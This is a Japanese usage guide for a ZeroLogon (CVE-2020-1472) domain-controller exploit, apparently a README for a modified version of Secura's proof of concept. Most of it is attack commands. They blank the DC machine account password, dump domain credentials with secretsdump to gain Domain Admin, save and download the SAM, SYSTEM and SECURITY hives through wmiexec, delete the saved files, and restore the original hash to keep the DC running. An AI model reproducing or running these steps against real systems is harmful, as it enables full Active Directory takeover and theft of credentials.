
エクスプロイトコードは https://www.secura.com/blog/zero-logon および https://github.com/SecuraBV/CVE-2020-1472 に基づいています。元の研究とスキャナーは Secura によるもので、RiskSense Inc. が修正を加えています。
エクスプロイトするには、既存の Impacket インストールをすべて削除し、https://github.com/SecureAuthCorp/impacket/commit/b867b21 以降の Impacket をインストールします。その後、次のコマンドを実行します:
python3 set_empty_pw DC_NETBIOS_NAME DC_IP_ADDR
成功すると、次のコマンドが実行できるようになります:
secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC_NETBIOS_NAME$@dc_ip_addr'
これにより Domain Admin を取得できるはずです。その後、secretsdump から得た資格情報を使ってターゲット DC に対して wmiexec.py を実行し、次のコマンドを実行します:
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
その後、次のコマンドを実行できます:
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
これにより、マシンアカウントの元の NT ハッシュが表示されるはずです。その後、次のコマンドで元のマシンアカウントハッシュをドメインに再インストールできます:
python3 reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH
元のハッシュを再インストールすることは、DC が正常に動作し続けるために必要です。